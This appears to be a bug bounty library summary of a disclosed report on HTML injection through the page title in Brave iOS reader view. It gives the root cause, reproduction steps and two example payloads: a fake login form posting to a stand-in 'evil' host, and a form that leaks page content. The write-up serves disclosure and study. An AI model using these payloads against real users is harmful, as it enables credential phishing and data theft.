# HTML injection in title of reader view

Brave iOS Reader.html fails to escape the page <title>, letting any page inject HTML into the reader view to phish credentials or exfiltrate page content via %READER-CONTENT%.

- Payout: hidden
- Severity: medium
- Program: Brave Software
- Found by: nishimunea
- Disclosed: 2023-06-22
- Write-up quality: 6/10
- Original: https://hackerone.com/reports/991713
- Library page: https://bugbountylibrary.com/r/h1%3A991713
- Tags: area:mobile domain:browser domain:mobile impact:data-leak kind:bounty platform:hackerone sev:medium tech:ios technique:source-review vuln:info-disclosure vuln:xss

**Target:** Reader mode template (Reader.html) in Brave iOS app
**Root cause:** Reader.html inserts %READER-TITLE% into the DOM without escaping/trimming HTML tags, so the source page's <title> is rendered as markup in the reader view served from localhost.
**Steps:**
1. Craft a page whose <title> contains HTML, e.g. `<title><form action=//evil>...<input name=password></form></title>`.
2. Open the page in Brave iOS and tap the reader-mode button in the address bar.
3. Observe the injected HTML (fake login form) rendered in the reader view instead of the document.
4. To exfiltrate original content, set title to `<form><textarea name=dom>%READER-CONTENT%</textarea><input type=submit></form>`; %READER-CONTENT% is substituted with the page body.
5. Submit the form to send captured credentials/content to attacker.
**How found:** Code review of Reader.html line 17 and ReaderModeUtils.swift line 29 revealed unescaped %READER-TITLE% substitution and the %READER-CONTENT% placeholder replacement, suggesting title-based HTML injection and content exfiltration.
**Exploitation:** Attacker hosts a page with malicious <title>; victim enters reader mode, sees a spoofed login form on the localhost reader origin, and submitted credentials are sent to the attacker. Alternatively %READER-CONTENT% placeholder leaks the rendered article text into an attacker-controlled form field.
**Insight:** Template placeholders substituted into WebView HTML (title, content) are injection sinks even on localhost origins; check whether sibling placeholders like %READER-CONTENT% can be abused to reflect page data into attacker markup.